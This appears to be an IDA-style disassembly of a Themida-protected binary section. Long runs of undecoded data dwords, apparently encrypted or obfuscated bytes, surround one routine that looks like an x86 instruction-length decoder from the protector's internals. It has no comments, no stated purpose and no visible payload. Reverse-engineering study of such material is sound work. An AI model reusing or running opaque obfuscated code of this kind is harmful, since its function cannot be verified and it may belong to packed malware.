		dd 18F0F24h, 0FC000000h, 83FCEC8Bh, 0FC60FCC4h,	5E8h, 452D8A00h
		dd 13E83A37h, 5A000000h, 0C70C6F1Dh, 94D5E003h,	0FC61D750h
		dd 67F2DB4h, 5858087Dh,	0F60F561h, 1988h, 14E900h, 73670000h
		dd 2FBD90Fh, 4F5E135Bh,	0CCFA82B2h, 0BF161755h,	0E8ED2Eh
		dd 5A000000h, 8C63EA81h, 45C7062Eh, 0FCh, 5DBA8300h, 1062920h
		dd 98840Fh, 6A520000h, 0FF0F6A00h, 2916D992h, 82895A06h
		dd 62E8624h, 86289A8Dh,	0C752062Eh, 12803h, 0FF505300h
		dd 29353192h, 8D525A06h, 2E86289Ah, 0B2FF5306h,	62E8624h
		dd 10B592FFh, 0B5A0629h, 8D5074C0h, 2E86289Ah, 247B8D06h
		dd 0F981C933h, 104h, 8141D474h,	452E393Ch, 0EE754558h
		dd 2B39348Dh, 0BA8D0C75h, 629212Dh, 0F30C4D8Bh,	0AAC032A4h
		dd 875FF52h, 212D828Dh,	0FF500629h, 292B3192h, 0C00B5A06h
		dd 45C7A075h, 1FCh, 0C707EB00h,	0FC45h,	8B610000h, 0C2C9FC45h
		dd 0DE90008h, 89000000h, 0E0E82D3Fh, 829F7580h,	9EA36365h
		dd 31C68060h, 8B615A56h, 108D8DD2h, 8B062E8Eh, 290A859Dh
		dd 6D8D8906h, 6A06291Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 998EC356h, 5C92AA93h
		dd 0BBB8E199h, 58DE9D1h, 2D8185C7h, 72B00629h, 958B0000h
		dd 6293079h, 200585C7h,	629h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5896EC3h
		dd 62929E1h, 0FF5B5FFh,	6A0629h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0A35E1FC3h, 52109AEBh
		dd 86BA5EF3h, 0FF7F27F2h, 2931E995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0CBECDCh, 757DF527h
		dd 0FF006AF8h, 29059195h, 0EBC08B06h, 66C33F1Eh, 0A48DB49Ch
		dd 0CCFDD8B6h, 77383EA6h, 9ED7179Ch, 0ADC9AE82h, 0C29B5CB4h
		dd 0E9D48170h, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
		dd 292639B5h, 0D2858D06h, 0FF062C7Bh, 818589D0h, 8B062905h
		dd 0CEFC1FEh, 6000068h,	6A006A20h, 0D685702h, 0FF000100h
		dd 29058195h, 32E906h, 85C60000h, 6291B59h, 30DF6856h
		dd 0B5FFA9C5h, 6291A99h, 7BD2858Dh, 0D0FF062Ch,	23B98589h
		dd 858D0629h, 6291821h,	6A406A50h, 95FF5605h, 62923B9h
		dd 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 0B6858908h, 8B062E8Eh,	85890C42h
		dd 62E8EAEh, 8910428Bh,	2E8EB285h, 0ECB58D06h, 8D062E8Eh
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 8EB6B58Bh, 858B062Eh
		dd 62E8EAEh, 8EB2BD83h,	0F00062Eh, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 62E8EB6h, 8F3DB58Dh
		dd 858D062Eh, 5B8EA1h, 5A61D0FFh, 8EB6858Bh, 4C2062Eh
		dd 0B6858B00h, 8B062E8Eh, 0B6858900h, 0CF062E8Eh, 0
		dd 13B58960h, 89062E8Fh, 2E8F0F85h, 0E9858D06h,	8B062916h
		dd 85894440h, 62E8F4Ch,	8F82B58Dh, 858D062Eh, 5B8EA1h
		dd 8B61D0FFh, 2E8F1385h, 9D8BC306h, 62E8F0Fh, 3C43B70Fh
		dd 5B8BD803h, 0F9D0378h, 8B062E8Fh, 0B5032473h,	62E8F0Fh
		dd 207B8B56h, 31C738Bh,	2E8F0FBDh, 0FB50306h, 0FC062E8Fh
		dd 41FFC983h, 8F139D8Bh, 178B062Eh, 8F0F9503h, 0C783062Eh
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 8F0F8503h, 8589062Eh, 62E8F13h, 0CE8BF08Bh
		dd 0BD81C18Bh, 62E8F4Ch, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 2E8F4CBDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	62E8F4Ch, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 2E8F4CBDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 62E8EBAh,	27E18589h
		dd 858D0629h, 62E8F50h,	0A798589h, 858D0629h, 62E8F17h
		dd 2B0D8589h, 135C0629h, 0BF2E1F58h, 639C2B7Ch,	7133F23Eh
		dd 354B062Ah, 707C7A56h, 8595FC87h, 855181C4h, 0F16033BAh
		dd 5A8D12Ah, 886E1D2Eh,	33DF29AEh, 33FE3C86h, 0DCBD3387h
		dd 35DE30F3h, 0E4D2B07Eh, 35B11A81h, 35C2B788h,	0F46C3387h
		dd 1E9A250Dh, 3578686Eh, 3AEDCF87h, 35DE3609h, 0BA2B8A87h
		dd 0B8E97C41h, 1B4BD102h, 0FD665581h, 6EDCF906h, 3AEB03E7h
		dd 35BD3003h, 0CF555587h, 0A581B9D7h, 0F132BE7Bh, 5FDD1D17h
		dd 36056087h, 15F63387h, 0BC20F0DCh, 0B4B917DBh, 2CDA17C3h
		dd 766F3387h, 3F5FF0D4h, 0F5748AC1h, 5B23FA06h,	3A66057Ch
		dd 357B3B0Fh, 37383C87h, 0BEDE3387h, 673F6349h,	3A79B8E1h
		dd 7B978CB6h, 6DB71FF4h, 0BFF96317h, 357B338Bh,	35BD346Eh
		dd 4A41D87h, 717C7AD8h,	0B422CCD9h, 0DDDD1AAEh,	35ED3388h
		dd 10DAE35Dh, 0FF8B50C3h, 0BC34B9A3h, 3A0C7789h, 356F3107h
		dd 6CE86587h, 0E35AF30Ch, 44D030F6h, 3B07B2E1h,	0A8C6B065h
		dd 35BB1AB7h, 885D3AF2h, 334633F2h, 65AE4787h, 8D1BB8D4h
		dd 35ED37FDh, 4F3B60Eh,	0A8F635AEh, 33969925h, 6D85E078h
		dd 351A8E04h, 41B735AEh, 8D886390h, 35ED37FDh, 4F3B60Eh
		dd 0A8F635AEh, 33969416h, 6D85E078h, 7D039138h,	62B75999h
		dd 35DB306Fh, 0F6B21387h, 118ABAD8h, 113FB283h,	35BD2883h
		dd 0F6897487h, 3EA113F7h, 0C440FFBBh, 91287339h, 35E1DAB5h
		dd 46BC3387h, 7BB1A1E7h, 133C6159h, 0F555252Ch,	0DD3D33EDh
		dd 35B73384h, 6F1869A7h, 31C9670Eh, 31D27706h, 357B339Ch
		dd 407E61C5h, 0D652B27Fh, 3A337AA9h, 35B73502h,	0AE34B287h
		dd 55E2DC46h, 0F1C27A3Eh, 0E5F05596h, 0F920BEE6h, 5FD81D17h
		dd 36876387h, 15B73387h, 0BC83F0DFh, 0B4E917C3h, 2CF217C3h
		dd 757B3387h, 4575F0D7h, 0F34D0670h, 0B057B60Ah, 0C23635A9h
		dd 13E663FDh, 0C46CE378h, 5657EEB1h, 0B174F38Ch, 35BD33B0h
		dd 0E96055E7h, 0A8E25264h, 339E7EECh, 8D20B8E1h, 35ED3384h
		dd 0CA248488h, 667B5964h, 35BD306Fh, 0F6851387h, 1133BADCh
		dd 11F3B283h, 35DB2783h, 0F6BE7087h, 0B81285D7h, 1BEBE71Ah
		dd 65BD5981h, 35DE306Fh, 0F6371387h, 11F3BADFh,	119FB283h
		dd 35ED2E83h, 0F6A67387h, 43968826h, 0B0E60F0Fh, 8AD17879h
		dd 0DEABE55h, 0DCB11D02h, 35DB3396h, 22FB4C3Ah,	1C911626h
		dd 2D06A540h, 0C320DB27h, 660ECC09h, 452589E1h,	3A7738D9h
		dd 35DB5403h, 63ED5987h, 35F6306Fh, 0F6251387h,	11C9BAD9h
		dd 119AB283h, 356F2883h, 0F6E17587h, 5067EA41h,	0D3DE847Ah
		dd 789DAE0Ah, 0B41D35AEh, 8D3BB545h, 35DE3386h,	0DD3D33EDh
		dd 35B73384h, 6F1869A7h, 31C9670Eh, 31D27706h, 357B3390h
		dd 3F7E61C5h, 0CAB94BDAh, 0CFD05364h, 55BC525Dh, 35DB366Eh
		dd 301F3387h, 5497F879h, 0A5A2AE0Ah, 8ADB35A9h,	0B0536216h
		dd 3341B6BFh, 35B2B588h, 0B4BD3387h, 0CAEF9A50h, 62F65957h
		dd 357B306Fh, 0F6E21387h, 11A2BAD8h, 112BB283h,	35B72F83h
		dd 0F68C7487h, 9C2F1957h, 0FF0E2BE2h, 3572DA3Bh, 7BD43387h
		dd 0BD395444h, 3E390E70h, 7C333C47h, 8BDB3387h,	318FCC31h
		dd 789DAE0Ah, 8D8335AEh, 35BD3384h, 0D621C20Ch,	0DD3C33EDh
		dd 35B73384h, 6E1868A7h, 31C96F0Eh, 31D27706h, 357B3391h
		dd 5E7E60C4h, 0DD8E9062h, 356F338Fh, 57AE7211h,	0C311999Ch
		dd 35EDB488h, 6BAC3387h, 657B59C4h, 35BD306Fh, 0F6861387h
		dd 112BBADFh, 11F3B283h, 35DB2783h, 0F6BD7387h,	0B24F55EBh
		dd 88F6C671h, 3393A345h, 0A170BE0Ah, 48D735A9h,	63D78DBh
		dd 1CD38E02h, 0F4221881h, 1AB8316Eh, 811BEBE7h,	6F65BD59h
		dd 8735DE30h, 0DFF63713h, 8311F3BAh, 0E9839FB2h, 8BA4F305h
		dd 928EBAC0h, 0C38B4A00h, 5890FF9h, 53000000h, 5EFB8B66h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 461F30C3h, 0F92971A4h, 9DBD8391h,	62930h
		dd 0BD830975h, 6290075h, 50197400h, 0B8C08B53h,	47Ah, 0DA18589h
		dd 9D8D0629h, 62BAB09h,	585BD3FFh, 75BD83h, 74000629h
		dd 0B8535017h, 47Ah, 0DA18589h,	9D8D0629h, 62BA7AAh, 585BD3FFh
		dd 1D8F7ABEh, 0FFB70F5Bh, 0C8E9C08Bh, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 8F29000Ch, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	2E9732EDh, 85C76006h
		dd 62E967Fh, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 2E968385h,	606h, 24E900h
		dd 858D0000h, 62E9687h,	0D7858D50h, 50062E96h, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 96838589h, 361062Eh, 2E9683B5h
		dd 7F858B06h, 5D062E96h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A118E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A119A
; ---------------------------------------------------------------------------


loc_5A118E:				; CODE XREF: Themida_:005A1177j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A119A:				; CODE XREF: Themida_:005A1189j
		push	ebx
		push	esi
		push	edi


loc_5A119D:				; CODE XREF: Themida_:005A11F2j
					; Themida_:005A120Ej ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A11B0:				; CODE XREF: Themida_:005A11D7j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62E97E9h
		lea	ebp, [ebp+62E965Fh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A11DD
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A11B0


loc_5A11DD:				; CODE XREF: Themida_:005A11CCj
		cmp	cl, 0Bh
		jz	loc_5A123A
		cmp	al, 66h
		jnz	loc_5A121B
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A119D
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A1213
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A119D
; ---------------------------------------------------------------------------


loc_5A1213:				; CODE XREF: Themida_:005A1200j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A121B:				; CODE XREF: Themida_:005A11E8j
		cmp	al, 67h
		jnz	loc_5A119D
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A119D
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A119D
; ---------------------------------------------------------------------------


loc_5A123A:				; CODE XREF: Themida_:005A11E0j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A1266
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A126B
; ---------------------------------------------------------------------------


loc_5A1266:				; CODE XREF: Themida_:005A1245j
		movzx	edi, al
		shr	edi, 1


loc_5A126B:				; CODE XREF: Themida_:005A1261j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62E98A1h
		lea	ebp, [ebp+62E955Fh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A13ED
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A1331
		dec	ecx
		jz	loc_5A1314
		dec	ecx
		jnz	loc_5A1384
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1380
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A12F3
		mov	byte ptr [ebp+0Bh], 2


loc_5A12F3:				; CODE XREF: Themida_:005A12E9j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62E992Dh
		mov	dword ptr [ebp+62E967Fh], 1
		pop	ebp
		jmp	loc_5A1384
; ---------------------------------------------------------------------------


loc_5A1314:				; CODE XREF: Themida_:005A12CEj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A135E
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A135E
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A135E
; ---------------------------------------------------------------------------


loc_5A1331:				; CODE XREF: Themida_:005A12C7j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1377
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A1366
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A135E
		mov	[ebp+0Bh], cl


loc_5A135E:				; CODE XREF: Themida_:005A1318j
					; Themida_:005A1322j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A1384
; ---------------------------------------------------------------------------


loc_5A1366:				; CODE XREF: Themida_:005A133Fj
		cmp	dl, 5
		jnz	loc_5A1384
		mov	[ebp+0Bh], dl
		jmp	loc_5A1384
; ---------------------------------------------------------------------------


loc_5A1377:				; CODE XREF: Themida_:005A1335j
		cmp	dl, 6
		jnz	loc_5A1384


loc_5A1380:				; CODE XREF: Themida_:005A12DFj
		mov	byte ptr [ebp+0Bh], 3


loc_5A1384:				; CODE XREF: Themida_:005A12D5j
					; Themida_:005A130Fj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A13B2
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A1394:				; CODE XREF: Themida_:005A13AAj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A1394
		mov	esi, edx


loc_5A13B2:				; CODE XREF: Themida_:005A1387j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A13E7
		cmp	edi, 7Fh
		ja	loc_5A13E7
		test	bl, 38h
		jnz	loc_5A13E7
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A13E1
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A13E4
; ---------------------------------------------------------------------------


loc_5A13E1:				; CODE XREF: Themida_:005A13D2j
		push	1
		pop	eax


loc_5A13E4:				; CODE XREF: Themida_:005A13DCj
		mov	[ebp-1], al


loc_5A13E7:				; CODE XREF: Themida_:005A13B6j
					; Themida_:005A13BFj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A13ED:				; CODE XREF: Themida_:005A1297j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A1418
		dec	eax
		dec	eax
		jz	loc_5A140E
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A1420
; ---------------------------------------------------------------------------


loc_5A140E:				; CODE XREF: Themida_:005A13FDj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A141D
; ---------------------------------------------------------------------------


loc_5A1418:				; CODE XREF: Themida_:005A13F5j
		mov	al, [ebp-3]
		add	al, 4


loc_5A141D:				; CODE XREF: Themida_:005A1413j
		add	[ebp-1], al


loc_5A1420:				; CODE XREF: Themida_:005A1409j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A1448
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A1433:				; CODE XREF: Themida_:005A1442j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A1433


loc_5A1448:				; CODE XREF: Themida_:005A1428j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 2E972C85h, 55858906h, 0E8062918h, 9,	7EFFBE16h, 0EB56D24Fh
		dd 6065B9CFh, 0F9584362h, 7587C081h, 840F0000h,	6, 8E3DC181h
		dd 30BB41BEh, 8B00001Dh, 81F78B38h, 0B6DB01EFh,	0EE816626h
		dd 0C7811D99h, 53372FB3h, 0C781CA8Bh, 56522C5Eh, 6215B966h
		dd 0CE93889h, 1D000000h, 0D61C29DAh, 8D38449Ch,	8320FFE0h
		dd 0E86003E8h, 12h, 0DC014Ah, 0AF682BCEh, 0F8BE79h, 5FA454CAh
		dd 890FD702h, 0
		dd 6648615Bh, 0EB83CF8Bh, 1E850F01h, 0E9000000h, 0Ch, 0C203C98Ch
		dd 0BFB5048h, 0C9A671CBh, 2AE9h, 1F8A6A00h, 82350470h
		dd 12E913h, 9E900000h, 1602ECC5h, 0F3FB98BCh, 1E0D2111h
		dd 7B0A076Ah, 0FFFF62E9h, 6B6E0DFFh, 0E8164671h, 12h, 526A9B44h
		dd 54A652B5h, 9ED355F0h, 153BA8A6h, 0CF8174C3h,	5CE5EE77h
		dd 0BE95Bh, 0DAE90000h,	16C4C85Dh, 0C07ED6FEh, 0A4C381CAh
		dd 66000073h, 68EBB8B8h, 0
		dd 517FD281h, 665E1527h, 13E5EF81h, 0BA330C8Bh,	29740E7Eh
		dd 11E6C181h, 0F526ED2h, 8Eh, 0C1815800h, 1A95301Bh, 0EB7CF081h
		dd 0E9816C9Fh, 4C3C04AEh, 0BE951F5h, 0D8000000h, 6464746Dh
		dd 1002EE54h, 48FC8EAh,	11E833h, 0ADD70000h, 4F810D02h
		dd 155461BFh, 13D06726h, 0F9D737Dh, 6658C3BFh, 6A59CF81h
		dd 8104EE83h, 0FF8D68FEh, 20850FFFh, 0E9000000h, 11h, 0B0D04EE4h
		dd 0EC6B3BF6h, 9FE15668h, 5735235Eh, 46E99Eh, 0FA3F0000h
		dd 60DF3467h, 0CE8h, 39A9400h, 0ED239685h, 333C200Eh, 0EB8166D5h
		dd 0E95AC278h, 0Eh, 0DE1E1915h,	9A3DD322h, 48F0B132h, 0E961AC4Eh
		dd 0FFFFFF44h, 0FD3894BDh, 2A7DC86Ch, 72BFCA8Dh, 6266718Bh
		dd 9D5E8D8Dh, 6A062Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 34E978C3h, 9C55E69h, 2928A585h
		dd 6D8D8906h, 0F06291Eh, 168Ah,	11E900h, 0D7660000h, 0C0353A7h
		dd 6DC96EBBh, 0C82265DBh, 0C77AC843h, 292D8185h, 6BD006h
		dd 5BF55700h, 200585C7h, 629h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0CC1B6CC3h
		dd 13810Fh, 0EE90000h, 11000000h, 0D3CD1A7Fh, 0A9F6FE36h
		dd 0D2711F11h, 4DB5FF18h, 66062926h, 8B66C28Bh,	0E995FFDEh
		dd 6A062931h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 4048C355h, 10E9E2h, 2C170000h
		dd 37D00BC2h, 0E769FF5Fh, 52360F2Ah, 92BAFC69h,	6A50335Ah
		dd 9195FF00h, 8B062905h, 427DEBC0h, 335730D9h, 945C1F86h
		dd 49912999h, 8E97B60Dh, 9789F0F8h, 7E837EEBh, 0E7F977EBh
		dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh
		dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0CED787DFh, 0C9936610h
		dd 99127E98h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h, 92857797h
		dd 8A0F4EFDh, 4C979402h, 0D4AC136h, 479D2B39h, 2D9941Ch
		dd 7B947681h, 55183889h, 5BE0C92Bh, 7101F939h, 0AE8h, 92F2C700h
		dd 1A6A7374h, 0F28C6CAh, 0C82h,	6880F00h, 29000000h, 2930FD9Dh
		dd 9D8B5F06h, 62915D1h,	606BC781h, 0D0BA0000h, 3365C034h
		dd 0ED9D29F6h, 8B062908h, 89603704h, 2934059Dh,	35858B06h
		dd 61062914h, 0F6C3E881h, 8D0F3AB1h, 0Ch, 68B0Fh, 0F1810000h
		dd 1B7592F1h, 7A5E881h,	8B6649D4h, 63C081D9h, 0F75F16Bh
		dd 8F50C8BFh, 958B3704h, 6290F6Dh, 4820Fh, 0BA660000h
		dd 0EE833400h, 45952B04h, 81062912h, 0FFA048FEh, 0B850FFFh
		dd 0FC000000h, 17E9h, 0DF56EE00h, 0B529BF92h, 6290A31h
		dd 0FFFF86E9h, 49CABFFFh, 0EFADB250h, 5EE9h, 3BC1AE00h
		dd 27h,	0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h
		dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h
		dd 0Bh dup(0)
		dd 0E9000000h, 0B02h, 2EA00768h, 0DE8EE906h, 5568FFFAh
		dd 0E9062EA1h, 0FFFADE84h, 2EA23868h, 0DE7AE906h, 2168FFFAh
		dd 0E9062EA3h, 0FFFADE70h, 2EA3CF68h, 0DE66E906h, 0AA68FFFAh
		dd 0E9062EA4h, 0FFFADE5Ch, 2EA54668h, 0DE52E906h, 6E68FFFAh
		dd 0E9062EA7h, 0FFFADE48h, 2EA86968h, 0DE3EE906h, 0BD9AFFFAh
		dd 0EE6A8C4Eh, 5C39DF1Fh, 588167D7h, 0EF4DABABh, 28A0F062h
		dd 4A8805DBh, 9747CAACh, 0D91D9671h, 64D65F3Fh,	42B5E1C0h
		dd 0AF7A3E50h, 512B8D96h, 0D3396ADCh, 0D259C010h, 50EC8D89h
		dd 4AD57A4Bh, 58101861h, 59DAD893h, 40869B3Ah, 6254D1DFh
		dd 482C82D6h, 13EB0DC1h, 0AB6E2C9Ah, 3A31402h, 50E869Bh
		dd 0BDA5D13Ah, 0E2807965h, 0F12454B1h, 4179763Dh, 0DCA489EFh
		dd 147DF178h, 1064D7C3h, 0C24D8CC9h, 3DB410F6h,	840A8F4Dh
		dd 76D4ED6Bh, 40ADF433h, 0A2B36452h, 2BD84B86h,	0A72ACD97h
		dd 27C3941Ah, 0C3000009h, 9177E714h, 5CBAB849h,	26C072F9h
		dd 0EC0AC83Bh, 353830Eh, 29A47AC7h, 0E469C325h,	0BC379076h
		dd 75FC58BEh, 160C65C1h, 7A3E4EA5h, 4BCA710Ch, 0B18774EDh
		dd 34F27BD3h, 2A73FA52h, 0EE62D5C1h, 359F806Ch,	9449F8B4h
		dd 0CE2A75EBh, 3791670Eh, 0B187CCBAh, 9CF942D7h, 44C6AC66h
		dd 0B014EC7Ah, 1A05D339h, 27EB48ACh, 65E38695h,	0AAAF31C1h
		dd 2C4B74B4h, 0E0000000h, 89D259C0h, 45EF598Dh,	4C8FF17Ah
		dd 7873D7F4h, 494F95E3h, 0AC1A65EEh, 960FEB48h,	0C165E386h
		dd 0B3C6AF31h, 0F34B74h, 4BE00000h, 39810AEDh, 0B109FA67h
		dd 4F2D0B52h, 0CE8066EFh, 4305E568h, 870CEFEBh,	0BC99E023h
		dd 0EECC2F6Bh, 6A35806Ch, 256BBA0Eh, 0CDFBD444h, 593F1D1Ch
		dd 0DCE951FDh, 26CBE128h, 161A90E4h, 8D07ACFh, 0FBC201F9h
		dd 4CE6A290h, 3806C09h,	0D63022ABh, 510BFF76h, 1C1A63C8h
		dd 7A44DF9Ah, 3AD81A05h, 4FA0D65Fh, 0BA869540h,	5CA58EE9h
		dd 0D6B022Ch, 0A2F6876Ch, 70BB736Eh, 0B0F1680h,	8CC110A8h
		dd 0F1250E11h, 8CC1107Eh, 0F4D1386Bh, 710DD5A3h, 72341F94h
		dd 87653B11h, 482EC80Ah, 0C17820C5h, 0E529AD5Ch, 7D9D2h
		dd 0B94A9100h, 768753B5h, 0C04B22C4h, 9E6DF412h, 69E4BA5Ch
		dd 0D01DB5E5h, 997FFF72h, 6680B23Fh, 2ACC0E85h,	0BF1BDB52h
		dd 4E4FA0D6h, 9BBA7A3Eh, 0E966C410h, 0A33B60A7h, 0BFFBEE4Bh
		dd 806C803Ch, 0A393FAA5h, 0EA68E145h, 0D259C061h, 0EF598D89h
		dd 1D067A45h, 0EFEA49ADh, 0D4B78695h, 5235EB5Fh, 55E361D9h
		dd 4ECA7DD1h, 0E6965ED8h, 0B6AC74B3h, 7B000000h, 0F0B63B9Dh
		dd 0C48A4593h, 0BF11E960h, 10F54D9h, 566082B1h,	0F168CC54h
		dd 96FA402h, 0F8A945B9h, 0CEAE806Bh, 9ED870CAh,	3A5AE18Dh
		dd 593399E0h, 0AF498DD4h, 2AE046CFh, 0BBFFC46Fh, 7A459A37h
		dd 0C296FFA0h, 5591E716h, 7C59E2B7h, 844B5B0Ch,	89EFB215h
		dd 2C907EA4h, 2C778072h, 1E9371C7h, 0E9643ADCh,	5B589254h
		dd 0C4EB1FADh, 6F6h, 0A69467FCh, 0E5699840h, 2D21AA03h
		dd 79FD0ECBh, 86B4399Fh, 5735FAD6h, 1CFE18DAh, 0E0BB5D91h
		dd 0A90DEB6Bh, 3F963220h, 3E4C78FBh, 394C617Ah,	810AED4Bh
		dd 288EEA39h, 7E17C74Ah, 684CBF9Ah, 0BBBB328Ah,	0B8454B30h
		dd 0E2BEEFA0h, 0B20AE8CCh, 0A706D23Bh, 23095A2Ch, 0B11DF95Fh
		dd 6E8EF853h, 0A8F5DCF3h, 11E76AC8h, 184B3FB4h,	0FF7C383Ch
		dd 15806C9Ah, 1DEC74CCh, 0BF3066ADh, 2A806C9Ah,	2E9813F4h
		dd 0DCBE9AE5h, 44ADF63Dh, 9AB40773h, 0FF1D806Ch, 0F1D29419h
